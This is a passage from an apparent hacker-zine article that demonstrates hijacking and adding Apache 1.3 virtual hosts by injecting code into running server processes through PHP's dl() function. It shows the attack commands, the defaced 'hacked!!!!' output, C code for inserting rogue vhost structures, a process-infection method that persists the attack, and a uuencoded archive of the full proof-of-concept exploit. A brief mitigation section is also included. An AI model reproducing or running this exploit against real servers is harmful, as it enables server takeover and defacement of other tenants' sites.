<VirtualHost 172.16.0.123:8080>
    ServerAdmin webmaster@vhost1.com
    DocumentRoot /home/vhost2
    ServerName www.vhost2.com
    ErrorLog logs/www.vhost2.com-error_log
    CustomLog logs/www.vhost2.com-access_log common
</VirtualHost>
...

```

andi@blowfish:/home\$

So, before the attack we send some http requests and look for the correct answer.

andi@blowfish:/home\$ nc www.vhost1.com 8080

GET / HTTP/1.0

Host: www.vhost1.com

HTTP/1.1 200 OK

Date: Thu, 06 May 2004 12:52:58 GMT

Server: Apache/1.3.29 (Unix) PHP/4.3.6

Last-Modified: Sun, 25 Apr 2004 00:18:38 GMT

ETag: "5a826-f-408b03de"

Accept-Ranges: bytes

Content-Length: 15

Connection: close

Content-Type: text/html


```
www.vhost1.com
andi@blowfish:/home$ nc www.vhost2.com 8080
GET / HTTP/1.0
Host: www.vhost2.com

HTTP/1.1 200 OK
Date: Thu, 06 May 2004 12:53:06 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.6
Last-Modified: Sun, 25 Apr 2004 00:18:46 GMT
ETag: "5a827-f-408b03e6"
Accept-Ranges: bytes
Content-Length: 15
Connection: close
Content-Type: text/html
```

```
www.vhost2.com
andi@blowfish:/home$
```

So now lets start the attack...

```
andi@blowfish:/home$ /home/andi/bin/apache/bin/ab -n 200 -c 200 \
http://www.vhost1.com:8080/hoagie_apachephp.php
```

```
....
andi@blowfish:/home$ nc www.vhost2.com 8080
GET / HTTP/1.0
Host: www.vhost2.com

HTTP/1.1 200 OK
Date: Thu, 06 May 2004 12:56:27 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.6
Last-Modified: Sun, 25 Apr 2004 00:19:57 GMT
ETag: "1bc99-14-408b042d"
Accept-Ranges: bytes
Content-Length: 20
Connection: close
Content-Type: text/html
```

```
hacked!!!!
w0w0w0w
andi@blowfish:/home$
```

--[6 - Add a new Virtual Host

Instead of changing a virtual host we can also add a new one. We know that Apache uses `iphash_table` to lookup the correct virtual host corresponding to its IP address. So when we add a new virtual host we have to calculate the hash key first. This is done by the function `hash_inaddr()`:

```
[apache_1.3.29/src/main/http_vhost.c]
...
static ap_inline unsigned hash_inaddr(unsigned key)
{
    key ^= (key >> 16);
    return ((key >> 8) ^ key) % IPHASH_TABLE_SIZE;
}
...
```

In most cases there's already an object of type `name_chain` (`*names`) because it's unusual that this IP address hasn't been used for another vhost too. So we go through the names list and add an object of type `name_chain`. Before we can add a new object or variable we need to get the value of `pconf` for `ap_palloc()`. `ap_palloc` is Apache's malloc function. It uses pools to decide where to store data. The address of `pconf` is used in

```
ap_register_other_child().
```

Now we can create an object of type `name_chain`. Then we have to add a `server_addr_rec` object where IP address and port information are stored (its used for IP address lookups). After that the more important object will be added: `server_rec`. We have to set the server administrator, server email, module config, directory config etc. Look at `hoagie_apachephp.c` in function `hoagie_addvhost()`:

```
...
/* allocate memory for new virtual host objects and it's sub objects */
nc = ap_palloc(pconf, sizeof(name_chain));
nc->next = NULL;

/* set IP address and port information */
nc->sar = ap_palloc(pconf, sizeof(server_addr_rec));
nc->sar->next = NULL;
nc->sar->host_addr.s_addr = ipaddr;
nc->sar->host_port = 8080;
nc->sar->virthost = ap_palloc(pconf, strlen(ipaddrstr) + 1);
strcpy(nc->sar->virthost, ipaddrstr);
...
```

Lets start apache bench again and infect the apache processes.

--[7 - Keep it up

Now we can infect apache processes that are running at the moment. But when there are many HTTP requests Apache creates also new processes that are not infected.

So what we do is we are redirecting the signal call for all running Apache processes. This is done by Runtime Process Infection (the .so way ;)). Therefore after each new connection all running apache processes will be infected too. For more details see [4]. But this can only be done when Apache is not started by root because after a `setuid()` call with old uid is not equal to new uid Linux clears the dumpable flag of that process. This flag must be set if you want to `ptrace()` this process.

--[8 - Solution?

The best solution would be something like a read-only apache configuration in memory.

For PHP you can simply disable the `"dl()"` function or enable safe mode for all your virtual hosts. When you're using `mod_perl` too, you have to disable the whole `dl()` family functions (see `DynaLoader`). Generally you can say that every builtin Apache module is vulnerable to this kind of attack (when you can directly access memory locations). I implemented a proof of concept code for PHP and `ModPerl` because nowadays these script languages are running on most of the apache web servers.

--[9 - References

[1] Apache - <http://www.apache.org>

[2] PHP - <http://www.php.net>

[3] `ModPerl` - <http://www.modperl.org>

[4] Runtime Process Infection - <http://www.phrack.org/show.php?p=59&a=8>

--[A - Appendix: The implementation

begin 644 hoagie_apache.tar.gz
M'XL(' \$0.VD` ``^P\ :W?:2I+Y.OX5;=\S#A!,P/\$C)TZRBPUQ..L':_!NLIF,
MCI` :HPU(&DG89B;Y[UM5W2VU7ACRNG-WHG-OP-W5U=55U?7H+C'QS!N'&Z9O
M6A/^)-\$/>9KP'.[OXV?K<+^I?ZKG4:O9/#AX=@#M!X^:K6=[A_N/V/Z/(2?)
MS,/(!A[9+JVLPSNH7ZU\$/7Y!WDF*?F'@?4#=#&!E^>\U#YO[+9#_WBY_)+_
M3WCR\D^U& ",SY`WKV^9`?ASL[97(?Q?^.%#R/SAL@ORA:??_9(_93F/@O+O^G
MM0U68T4RAW;L.C9#QV)MZF'M*#*M3^S-W+4BQW-#"2.:'?=&P=TYT82-YLXT
M<EQV[MGS*0\9?IU#R\2;<9MUW5LG\ -P9=R.%9L`Y,Q4J24PCNH_8V`N8R4)S
MYD\5!`N=:&XB\$7+PA]I'UG%"?VHNF#F=L`. '%-86AB%K.*XUG1N(XDA#VXY
MX+-GCEMGMF?-D086>%Y49XU&HZJP`=W.&)"E4+&*-3'=&YX>&([IVS8,</E=
M9M#=#W5UC`F2W&I8W8T?5:A')4\^T@3.2AS/!MAAP/O.!A1\$/7,`JF,.F#B)W
MS1DWY`P&SA=C[P`\36!&@-5S=Z()WQE/%\QV0C,,^6PTY8'D7L6JLMUF<X_M
M[#4]'^_]1R[84:R>_BV-V!O>F==AI^75VPPO.Z\[UV<LO[U5?]RT!VPRXNS
M]ZQ]T6%MUK^ZO'RS`_^=7%Z<=/O#!A,XNJQ]/7P+HT_:%^SB<LB.N^QM]ZS#
MKKJ#_N7%H'<,\$R#V]L5[UFF?MT^[K'-YT677`YPJ)@3PGUZUSQN"N*<;&[\]
MZ7`VE5+DQF1K8\T#<=>=.BYG<S=T;EQ@Q<0,)]!HVG90B1L_\45UXQ\;#![X
MRO[ZBE7P_5KUCJH'E%[P*-YX+**ZGA>97^E<>S/K=-_VQZ\ -89M6(,QZ/U/
M]VCCR\;3&GOY\J42`!C-QV.B%)JCB1.RL=Q'[(:#CH)XV-@)0**^&9@SD#0;
M!Z`MV+YEN=%6`SYF]A8SPQD#-9J!H!@Q(%[SU`,%!V06J!,J:L!JH_FXSL17
M&%Q' %6*`K,K\$6N.AV.ZP5ZQYE&\`>,18T\$L38A\R\$_OK3'TK@@1BC"EWH1OL
M?2E\$<&N6(0B=OW/13DM"N7YH-7?W/HK&^^<'(-C0-6`M\`&\$;6R#NFQ/KA@?
M1`-3(#AMAEF%V"3)JRLJ@%MUMHV8I` ;@XXQ9!<=7-7SXH"75GQJ9+9N/YC<O
M6* ;K:>IO)`-@9V9\$Q%=HQCHMKDZD>N,*_E\$EZ?&I\$2[<R+S7: ,+'G_B&'P#`
MN++5'IR_8!`_`'Y\ .OI>_\7=\$L@R`W`AFV\$46#._@C,V9BZ?>:YC@;[,[&IV
M?7)\$K`NO=#7*PQ4CWIIYMUM%J,4C=8<&>3X/0,/##\V/#=N,S(9]YP7V4<'`
M+XQ/0[X6SE8:YY_`E'`\$X4L)+,.`W^Q"-2&81Z27<*Y'+%K)^"?^TG5A);9PJ
M*CA[0L17U^>AAA<_"A%D VW(-4G.>/\$D/3\,Y[,DK;9>7DN;H:`2*+^QNXD"`
M\$*OH2Z&B1QNZ]59+0?N\@<9-N@QPM[?H.Z79Q*_ "6)IDHI4-O36G<YXSGF2;
M\$LXX/GXW8`3\$/+6:XY/'B4QPN\$4`46#>RG8TPC05A!AA8@3)PTMH5]H_+^"&
MB&4,RW/'S@T8>/@40;[G35G-3QH\$]:CJ]"=X('!)\$\$:-'3ZU0V614/4H8('=
M?7%)=L8^?Y;KQY8F_DD,4/V:(DKV[K3\$?\$ (D:B['=:)4V*\$F%`; ;B2J>'QFN
MAP:/\!ZID>#,B+\$\#)DW9L3*D6!E3+3&7E3\#/>KRA^29&M5"@B<R"!I2];5
M6;'>ESQDQ>IL3Y)) ;, :9D>M%\P7\!@ (US)0'OAPI<Z9V76%I*06%U4[,6PB>
M(0SPYN#;L^N6:_PW75KIQ9=*95=))>:K!W%%X,UO)K!K/!B+:)A` `U%MX/!8
M*="-541H`-OS94&H@ [M1FY0&H%*CF=3H^^!\/&*D[\$SVXL?..Y??9QT)4(C1
M33Z03[M.FLE-\$,\$V"8^8RS8%(_#K*^86SJ#IE\ P(Y"Y"G!2=I2+XC,MFC\$FA
M@W@!AR&B=:E.%9A2(-UYG>I83\^V:8\+!'FC#<2#IMR98#(B3YH,R#UFL,%@
M, ;=FX.B;1'MT_R+,G\$:NM"C8CMPD5X/>,824SII4A#\$H=X\6I([L[67[M-<U
MVOWVR500D.ZP<WER?=Z]&\$)>,'P!Z/XDV;?S&KBG\$BD#\$RG<16+;S\$#VGH5A
M!\$1D%6EVG]!N\$0AP!>ZB4HRG+NQ4#`PM*CH-T3`*N/E)./[EGBO^XXN^@YOS
M\$6BSO@0VKNY+A\$S">H5#`;T@BMV)8K1JD&FIBDBDV?8LRC(EVQ]T+TGP[L?1
M"N@H)3PQ,=4"UU*'?`'_<:T2-X+TUR(O@D13YJ>K>","!RFKPZ8L63`^!=`0Q
M;KD5>4%B!(5CHAR(1XFK\$-9.T\$J[* .1GXIX40W6(6)[\$7;U'<K;`<N8=VG=U
M9CQGUNO"C]19BKV_HY/SY^\$\$_- .S[^;E\$ \$MZ<;@0-RI"%@+W,9_AD+A\XK8:
M\$> .CG#RM,0EG:T]EZ)'SD-(QL.UMN1ZM(4W:9DXCXHD`*^;DQ%O=!@, !# /R&
M.07;8B\0)M#M;^RL4CY1/XP00JU^+/)D*=F5NC7=MI=;]7JR3?*YA-! [W=WH
M]G!\$4Q]I1E#C#YEL,^+HA+Q@02O.G85YH_`^%#1^2?W>BQR\$+YZ.X,>&6:PGG
MZ@L_(>/&S(83HU5-'*-K"8XPR;(-C3)0)XA;XH@*YR: SX;@B\<8(5Y\;6&8&
M2PB0#*4]&'`K0P6,S9"2[:1MB:,;H:%,M)]*K=*@PL:QY\WGS3P\$LE=\$[07T
M"O^96`WI0R4.Z41SJ.I,]Q,91LIX:0GO!,"#["O@G%384N:E%5K:\])E4_`2
M)1=@JPLG44Q69A\MF3G98*O.7K0Y`XEP0G78B^=HQ>Q#\R&HFYF?("` `)'G.A
M*-R+Q2"BBUJ)#.['?AOK8]*41832')QE0#Y^`8FR]VGNAV@U*=<!JXFGW@0E
MXP9QJBD?4#B?6W0,[T(F:N`F'6.2GT# \$FJ<%\$U(P5I'NB="C"JB+W6\$E'`=^`
M^#KO+]KGO1/C_+)S#2G/6>^<_]1X1G8=0QO,0SQ?#CQB%.TPV8\$?108;6\$.,
M#0P\#&;V.(:UP(M\$W\$` `P9FCC)VWQ]7,"C0.?!!(9/;AN#:_XCNM@:CF.*(
M%ITPS<SK2B`\$9MA\;;,ZG\$6I"/F9C*AE1(D4C`3'2B\$OF'/(!"'12MR648"[^
MZ))#\$:0DE0I_UQ=-?DV5VA+\L1`3:3T@RE0F6B;(I5EM&;)Z2:HJ_45: ^&FQ
M%Z:`948USH.*3&I9(J@&Y:@2*JU;% ;+I.?JHWRBS][MEA"3#(&C=2J!\$=\@M
M8QY,2RUK,ZOU?*I-EV)L=0T(RXD<]R; ,T1YP87J-J3-SHN0\,2%C#HGPWTJ[
M8>P`",!'!"PB,RE-0ND;P(/#`BDD^E7ON8\$9:\Q"<Y-\JH)\$SX]Z\G+)/G/N&
M.75NN;\$Z*(#L%#M7#=#W,O"^^`*XW95HQQ?#.: /-0O+M.*\4M[,0?U(2T#4QP8
MCKT,]D; !W@0>6'T\$UK7.%HY:AG>11W^)"(%NHA/U&[GQ^M19PA>6.CIIXJ')

M[UW]\.O)U_] ,G9&X\$ _UNE6`KUG_M[1\>[N\>8OW7P>ZS7_5?/^59)O^1B;RQ
MO[7\ZX'ZK^:S_ ;W#6/[-0ZK_:N[N_:K_ ^AE/7#KS,HQLQVM,7F_H30&\$%\$=DV
M&S0DU;;5D\$J#!3=ZJU(@:AY#P,6,\&)\5_=JSC8_0U:L3@G=\$7M`C/4MXW?
M.+!\O+\$!."+'PNAJ;D6L^ZY_==8;#%F-W_N!07XG/O`!)]4%11;G//<^LR!K
M]-SI`E(1!NX/JZ`LB._I>H>NB`,^VZYJ+VAPQP<A54W6&P4R0JK!CHVN@H6
M:#\$TKHB[6KN>I\OF0)*>^0I3U>3;+)D*9_LTV6PZ`>X3LK3>TVZ\$OLH44Z
MPS!RB?=\$,5@NM4A_7(05:4``=/ZO8\$V%0%E@/^"W`"B_Q=Y>SE-2`J&-E]3(
M;Q+?*X6O?/R,SS#()A[565(@DV%RE166.4A&!9PCHY:`2\$ZW"D"^%/%>D\P7
MTL.AU"C4%SP#)76;011M"6T;<<B6'9"8)TZ3Y5YA6\$:"!9@0A3FHA*,%EIKP
M``-\\$6\!,G6.B7*&3SR!<UQF,G%8+I5V.*'#Z*EW1T6\$SK/G!PT+HS:U&>:N
MN+^R&QM9#8=)\&2>A4`V%]=6E*B*KTA?G?T-:UWP(L07K>.I>1.J&CI\ENF]
MW-3I"@J*/IM)S\$F:FY4LG@#(XX\$RV=?U)%!ML=4WE#Y0VYI%XWFB^/&6RP.I
MKD3+BZ;3[1G7F0#A.8H!FNGS2.\AJ='`'WRF>DB)7I&L4NTH,&C'CU0[B0\Z
MZ#,)!XKER1,]&XAK(1V[>D278C:J\$*@^J='('HF#0.,NTV:9-;EI=](?;%T
M75&5:PMOSL*)-Y_: [N-(:*I0?~!E2-Q"Q^:9';.YN?D75\NO8]+\$7DR3@\'+*
MD/-3J/B]W7SILRS^\$Q;CV^=8&O^U=@^Q+Q7_M0Y;S=U?\'=/_/>!Z(_W*Q7E%,
M")\$>^8)L^\$?Z4]!F>+[EV;P07';-3'\+(S^RZW%AA;R2#.L>"!;GFP8*XY
MOYES\$W8S]4;FE" *A,/("Y3,U/PE6*G870\~H7YV\9;7X`.T5^T?SRU&*N8`
M6BRVYNA@P5O:"^4J9T"GT3H0=5\$E#V`""#FV>[.R(DO_V\$J*N*B0"%<A'17
MSP*P+!@*OQ#>69VCJY+_5,4!5;>\$8C'D2,F8! ?R&+I5%0(V@?&A'C![AAE8
MDZ2'U:C"(A6G)ERHY'E4%249F@ \0E\UR4/;`. [E(WM"XD2Q6%00+;)>I)1>
M@V90Y;'M2?]:W@G!JHNO(.%X`'FC1%R/.V^ZIX:`_C_\LV;07=X5'([B7H
MF_[U`Z!.`^N0MTYL]9!0UT3&(Y)/[,VR;G75/VR?O\8:B6Q1@)\$/"OZN;XMU\
MB)\$"PZKDA\`&?8#88T]HL?]]>=7)K38_Y@V.V5]O3*\O&=KK&[V+3O?=?,F!D
MW`V=:#XX0[+[6EHL55;\$7,3%O=6XN!0LQ<7.U[!QU4\$Q'[OK,()]XCB\%F@O+
MAF0#-?>_0ZF&0ROKD^&O<L+^4I+X8C1(L)`\WE)-V4)*3ZFNF97S@<3P!,
M7,99;S@ \ZQK=BTZO?6'`<HJ@ [RQ%2_/^S9YFQ?\$FV\+DBKK1.8Q=R!U2%R:Q
MN1+IVY6R3T.J&QI@.=(*YE;3/?01]YKU2ZU:#<6%'Y39\$`4ALQV1[,2F&20[
M/#XSL*SR/60\SP^J97C0\$YHW&J;6;IT=-JMEIER?'<\C"K\$ML??I`XE[X2'O
MV4N0,;M/50K'`#W`<7YV+O<(+D=`@ \$SV4A9``.Y=00L"(`;["PX8+OZC\$E=W.
M<)L3FT=3@^Z;*]FM`#L0\EE<\$NG@A_N/]=+C`/U)\."F\$!A@LQD1T`)("DX,
MRJ@I)&9M6KX+*<?OA]T<*;A=UB*%L`A2\,_3[D7WJGVV!AGGY^]R5,QF]VL1
M@3@2&@:] \X:!"!XCH+0F:TG\$L+RU31TNL?7IWDEQ3?)UE-2PJ.1\7ZP!A4G
MPZNS'!&6!_W>="TR"-`74C`L#H8Y*B(>1FN10%B^EH0D:M0T@J\GBD\$W)8CN
MZ1KS)Z%H,O_8GZ\U/^)(YH>`"@^M#M>)X!IYE-(C95-3CG+4EK/VJ<#\$9_4
MV1:GLZ0M.2EU)42<G&@TE*^=M\$<A'/M6%\$P5PGZB64L9(9?,/A<(OWSBP;`]
MO!YH4Z/KCZ>6O3]J\F'[5)LY,F_BB;'GQ\ P:1Y8H.<>7,V)K(K3^*D+3\,1H
M\EB*`J]TKFI-N>G._7QD10>Z<;9:S2+2X0IBFGSD00<!19!EN+0(+H^M+~`K
M30:71E4%M"G8[&CBEUWM`=_8\$`>&RS8E3AA"%0)0_N=L#U%FO8AU3)?LQ9
M^VX\G[(3R+W849].,&0\C,&N)VK&\\$`?0U6[(BX(:IY?9Q@8X&4&OF5-]PJ9
M\$ZAAIA//7[#'V/&8XO10O/V.+[#C60B@27A34\>K[IS>=H*P6`RQ/-_AMFZI
M`"KFLG/Y0ES`J%L6]>9]2#&J2#~V,.3TX3MWK510*=Y]RK_U32\[M5XP;2JQ
MSGP`M3CJ0IQI,IJ%5DP6V7;L+P/S:)(3;ZAE)IL-S49!G XK32;06,(L)5B2M
M/>G!B_3?SU-\$_.=R*F!VJ0;K3K97FJ:3G4:6[[U8>?5TP[0.%5\RVTLJ`.VR
M(K7_I?++Y1#?]=?U4W8]G_1?5_00-Z_?2?W&MML#Z=(X')A72@E%<#3'S[*MS
M<1J#1<S!+*YD*3R`#;0R(GH#?0=7_Z`D#H\$1]^BX`D!E1SC?2;^`LK!D<03
MP7)W\$4LJ.I4#`CKXK8S8~ML_J.*X9T>*@)ECV^"5GY6.G=%<V^SP*"9ZY\$41
M;;,]D3,EE7\H\A,XHQ:,:<DG>`V28@L?;;7FSWTUN+.0K^I7X+I[NX<4=/-[B
M5G4C85H62)[N/3SU5D6\$O[&D[BL`O6,27\$,?!2OU/0>AY"@%A;<>E`ZX0K!`
MSPY\X^8,#=N8!UA,PU.HF!AHCOS<9P2:AN_\$T;MP8'>XN#--`.1D*0R"FV'.
MTCW&>Y`'R`U6TXI4C4ATH_6>`,WHO/A1,.1R6`,(V9&K\$5VL&BTU&`H\$AH,
M(M3"55WK\3*[4J#RL,M@4%5I*:[W"3JSD_S80CH2=\$8-<5O_BB8];@^Z1O>X
MCR\ E;@HUH2OV,5-0K6:+5?C(KV9-#X#UWC!\$@&"`U2\$FU/Q@US\WN)^]JXD
M/;)R#JMX>@YZ93/7`R;2JP?,I~^I*AG6:#02.`G1)7[6RN)4]E\ P+!<K;N,5
M74,4DVR//K0^QH4](,MJ@;&"B<_X!~M&'VWF"&^AH+*84JSB6+N]`;](CIH
M5E'Y\ /D5:W<Z5]UW?7&ZQ_"7FSH=^AM&EY[1"SU[DCKA+KV(P`*U,Q`.20AV
M!*;5^.8H.T6#"(**SYW+B)5E'4IGOHXQ\3DK\H9H69DWD+]IG"%5+;]94~HM
MZE=>LV;)V2]HWN"D?=9%4X%J][CUN)0B50030(=~`)3\$^*D.1?2..%[9AFR7
MWE%[7J*X#[*])#99"2)N91[1N(1)-`H%+HDC[TUA!"B#~BXN+PJO!07/"";F
M67?0?>PJK68S9Q5B2E6U4#S;=U`?0<17ZH]899XU.<]*NZR:F/*GI?&P`WCX
MY@B/"Y+H=U7PXOXN,'U?4DUN`B_G[8RETEPWP:"="FO5.JBP;#D"5:"J`VZ(
MXWP,4[*G%=0(!OG\LM,ZP+M>,BG/"TO*BDVCJ~NJBW1">^FRR#0*^(>T<JE1
MDW5Q)1~)\U: ^,N#KMRV~@O4UUK:.P4ZO+3=3~NS%H"[6.=LCA4E^)`9_H\$LJ

M6DYS1) ``FI,\$?EI^2#^E`1RAM8@_Z>!IX?/\V9Y*(+5*R_)8FV7BRM8!^62\
M,G_!\%<HG7""[([(;M#&IC;*OWWC(YXJBO&5+\ENT^LV68?6FJ;83B!?!1]S
M<8^0XB8I#ZR@V\;;1CW85SVH5A>7W7:13L4L9-MT[XM/\V;O-@30-";2S)\$
M>2!2Z0Q=F\$9')+,:L*45TR(E2_*)[&<O['\.#V!ROFTY&?93'(&UF2B@%-H
MLZA-?@S#`HN\@^V`SF,1I!"]I@^:D98_#J2ML8@?E-<*.P&L.WXWZ.735_7H
MH4[^IO19.>.^F@I1*3\99Z\$@V\CH=COY3BF0LNL)]H6GD<&RIIF+JEHSV3W
M\1P9J73^R%(Y_-)/V_K+-0\$9I\$VW6H'M:B>U8E>5O"[]/UN@-ANV3_Q@4
M6;X4GTIEO/_[R_C_Z\[K+]MYOU3@C[G-U;.2"GR]0_S&/;&23'X^/[>%7VC
M@OR3\N.X_X"!R(6H,B6[N*3SKV5!ZD.K2BWJ02S9)YL=+N'\$\A\BSJ[XZTRB
M>M8WC>KY:A.900`]U%`]JZGCVI*+G]7TN.CWK,6S8OCYSQQ_L@=GS`NJY3X
M5B/[C-_ZPZM,R6ZRM)+46,L+]5<[DX/4NN9KZPF/UU<4[?Q>HVK)F9XZTE/O
MRU[^7WMO_M?&D30.[Z_P5TS(Q@;"(8DS=O!^A0Z;9[D6<.+\$\4>?01I@-KJB
MD3#>.._?_G95']/G'-(>Y^`V8V!F>[JZNKNZNKJ.NIGW@NJ>Z0[/^@HAB/
MMU\$@^<]0#06ETWC@A;UA]Y.'(70PV0>IO\ (5))-1X"WC11GMU?CC8+T3]H(^
MZ#4AEP:M]1X5.])_3QLDPMKL^!I-\`Z#"D[R!R&31P!OTZ=U9'<_%-X,17.\0
M'`9C[I']><NKEK=KWNKESRORU5FT2(UJ7!=<\$%>4Z4]LFDCC&K%`;9*F,N+W
M.:?:2'")AC0A]VNQ\+?X[44^-:SX."#&_DZ[R16`6UX-;_C:0[45`Y^</A
M:#<A;Y^*6E>2W8';7Z/*6F6+)>4`KVDU,"1]:#" \$QW`NTRC-%N']CKTF[4F
MI[P7]*&35*F"+PCR0GF.7EZ(.M4C<MPU8)BK@GD\,5`\=!5'!8O(*DD'* (IR
M#.OC78!AI"Z"6X\JZ[X'FK)K2G\;%RDPF]FD5*#Q.8PNZ?H\ -L9#OK1E(V=>
MN\$J*3)SP,?/03\$=@I;;P(E<RJ2M\$/2G`Z;>\SZ@5PTL)++O552/H(RHT,ASX
M)SGN;F[]NV_@H&K6K^QW9\P-JGID@DNL-[CI2Z6.5O2]'5F_LTZYME9=;*:
M=B.SEI99-_`)2Y:26`9'&>QX:&MI*LUB5<'TBHVK1:&GY3*;;@!OC`*J^<>5
M=_W)*TN72KH Y@4S+)-VRG9H)XFR"DIC?,^O:7-(39#07D-<J(G.*#`8?%/<4
M1"6Q:WHX<0=1'TP7*#JD*"M3*KGM#TA-C,4]4.[EUKQ_3Z*Q=]2GT>P2+\EC
ME,"\$AV-\$_G]Z1H:9X2-0&FWVN#V%!9:*V\4)0XTWS]!*LW60H%RQV>3W,357
MEVR.(_1G:@C3C*N3)!BSVTU(V*#`(NYYI1O>=+L)_A1@/\\$?R8Z"(PC.",SK
M#84SR'.@7T/P1[J3M`[_Y=\$A#KXV[M:Y*-\$ (5Q\$9?#)BL4T47#('4<IPB_Y(
M%f#R"0&6#.PGP!II'Z\$!=_XQ\$7K-;IOQ3LYGHM&"<M"[Q*9S%PX\ :DUGM_
M!\$`^AG%) \ZR)I]E#F,"LBJ/+J\:%XFV*\$KKLYSEK+=GT^T:VL%,M*`-5]I#
MAQ,F%6%"A`1EZY1,F]=PJL@XI<ELQO&C?(B/C)A,=' /H6RWC]"<6Q,AL().[
M\B'`#^DY<#\ [9GSJC19]R36>]!^6\$'EBGOL<BWW^\$,Z1HF[DUP_:>/!A?V^IP
M2A(P1[]'OBDB<B/QOOWV/9#D`TQ=^O<R3LG\$.6Q("V@.LZ(M&K8R0&1(W9YO
MA*1&INX^VC#HECT)U2=W:[1^/P@Z\$8N1!9OL>O`P!O-XJW3\$G\1-.9Y@>70J
M*18^\$NII\$TC8L\$VWE><Q&N*/6.GE67;RQ!6OR%PAG.NH%\,8M!!<:X'`^:..
M6V;1*WG40K3\]25VS1QZ3;J'6713'PD)J>:J8U6'.,X=E^1D>A:?.',1`ZE
M3,\D]L?40VK!"M9TA2K_+<%&4M?,T,1R85^GBN2T@#Z8_G#8_01>SLM*(EA"
MZ9N0=\$-YB0\$OR1C?"H4DQF9T=M!J1BF/LP*=1N^A#7O/8*JQ"%L6[1"45U4#
M?XAM6`TLR.)=W*Y8HQ1A[SV1\P#]I2"LJ\$V@0+4>SNQZ]:J*ET=**\N"/`1[
M4NKJE_-&ZZ1Z^<\5V-C8@K`%T[AE005I)+^X2^*8DPH9SKL.P%CUI=QG>\$]6
M2Q"B1K#D_1GX#RNPJ:-+FJ0CL%]J<!^,1F&'`Z^QP=(T8CB0!][Y1:-Y]*Y5
MNS11BTE9.ZLWE`LX\$!\E(@#S)E^4\$^<(\$;3#:"1"*#Q[NHB#4(S%85R"H37
MJ1`JZIR,)PWAQW2Q:(Q\$=G!4EA9LEC0^&WH[(EM?9BZ05`/)_D!%9`YIAW6
MQ1]MQ5<3J^AQYN`,K"%\$@W;W9R4P\$'_(-/W^>Z\^\$#P>@\:05Q:.SOT>68<
MNP^J<2*>LYNO#8Q((ZY" <!=!`<9DLP[\8<F25:]Y9\&7?!3J`Y!@B'+IKJR
MX1T'8V`S>\$)'`W?0Q>/:B@)-L1]#JFZ4-PB@YS4\U0/3DCML=:@@?3D]NVJ\
M4"+0HM@4-[W,".L%X_8*012`/MHP8-U&`/R:AO!-\.<#/KR&2=^1*,\A^7G[
M]Z"S/K%2I0V!FH=C@.)37_ECW<A&1D\X#&@ZW=^]X9!'HQL8*B*/4*AD)LV
M\$[EQ#%'C5B!"KC^&X%!=#S)PJ)YL,9";`<30I=(T`("4%#0>J()7=CQ;+XX/
M'?)E.SI+`T>#_NW2"AXP&+5)46]I!&\$&R7ND'!GY7M@?='>WGS9DDVEIT)Q.
M^`H4M_KTZ]#P`O[L'#+/]@OJYPBG?H(6[IWOB8R#:/GC\>A#DBRZRK*J+[.%
M"5QJ>\7[AU?Q7LA1VO1'6\=&+3+_WN`4>`&_PH%D.CL:UDF?=K)"NT>Z66'R
MMM)3+ [&K\$%/L+NA3>VFF4___'5+39)KVR!.K+09N8-&_L_"`';>XI;3AE.D7-
M@*^KET/:RZW*YC;5%`S)>!?0RUV"H.7PE*.7];B;,_?R.E[,9#.][8/S[6"X
MGG8HYKW+OF"+6)0?XXDW#;+9YU8A\$ZA#L:7+8QI\L\^2(F9"1-'=74?&/HPF
M06>P3F2\$]B@<0LJU#`@G&)B:"-=GQO@/BO\$?T\Z'_<=%MT/PA?FPGAEEA1U%
M6+M<H<RH>8XY`-)J1;369=N'(%U!-^B!L)0!B\$ZK<JZQ_=?LW#=\(<;6Z_4>
M,JGIL\QR" I<N2HB:?!N,BH)]0XD-0E\W6!^!1WW1J_SRHE\$]GHFP-QU*@,\$\$
MXDW-!<GZ[\$@&B*10J\`%S7>SHWF-:\$)4\$H+D8<UJHS(3C@3F;!C>(X80Y"WH
MD]_+VYNP]E'+5S2NS?/&Z4\S8=NC#/T&CEG""`C.*&B-`F?5I6[@>Z_OU[R3
MI2SX" T5!=GE+5"E<XBJ95LO.`#UZ1QB6N1LVW)35_AIAJE#AR^]=\0_(<*2&
MJ6*:6517K+:Y.G=T[VO6H75JNRDI/S"\C^HE5]B^*E(L5TE)^:X(ZM>/P!/M
M?7_T:OUT2U%\8]</>(+P7B\(.V"*2B/>,R-<IGJ18;&(^`0-/K)\R;8):<(L

M] 9AU (N) #L37, 3B<WFM\$GOOC'D#6KK-] 8GS37GHQ&'2>PU>P2GJPFJF.MX5'`
M3\$UHD'NF59'!, , @4 (40+&'Y0>]_66@&=8-BG34AT`<MIJG;Y&*#FA[9E:80%
M70#P#*8[]-:(3*)N'<Q3U[-+W!8G^@EO)V@+VT4'7L]_Q/:K9(?X,E.D+A'
MCG(SZ>I#ZC*Y%A<B!)L0^\\(XK<122M9L:K2'FD^\$":F[-J`', (LKA!:C694
MH:'GQX0)0OJQ\$5>2R8#8O\$+F`(%U'DAO,;X#;1-5_&MWG6R"RR"`KRK8R1\\1
MQQ="10>TIH1^B>]>J#;%FOL_A)W"/AYX+#\\M_4WCM*ZK&4FYRY7\$\\'O0+HI#
M+/#+!' :-H&YG)KQ>, +Y;BS70M))J%GP+9I922B/P=H=%\$8E\$&^(N\$6YY!\$O#
MH\$DP%V!_Z@X&0R<FO,K[+<CD_*<W7G)%\\Y.-(>%M&W_ZDP?O+P=E^!VI5K\\)
M=VH4!/ ^50"&_RH!'Y).6+S5(%UP.;E(X7Y>PER[J6A`/CK7K2>'JVJP/J7I\\
MM0YV5WV5U'-Q'<%OX,VRX600I;\\(, /SKKY?J310\$BQWQ_"]X\$7YYB1G!R, ^C
MLU, +#7I!CVPDW+--)%P6';WX!24FM9>;\\KXG#_FUO\$SC./9X5'I8-_R/=>&;
MXA@'N, LA'\\K+F]<XW'"9F1K?^:CZ9L77"'\\!) .N, 70D<J)VO[6IC/.J3.LOM
MN\$V<4??\$Y1WI>ID5HWX, <%5\$R:33QAU1)#N_>CT\$F\\>F66SU'";Q6EI84*)
M, ?\\K(/.S/OXZ#J)6-KPWA(Y=L<7:V'"[83Q0L7Q'H[;!`<@Q'<58!%D5O
M2&2%D8:H!'0C2Y5*:-\$@H-#9Q:'8/94D2S/5R\$LEMA^)]2*#5F<^'-J,\$!?=
M['X/9C)&3G8;0O"0@0CYC'//<]9CO*AR66/I(K';YD;N8H5V:7SGCY]' 'MY=
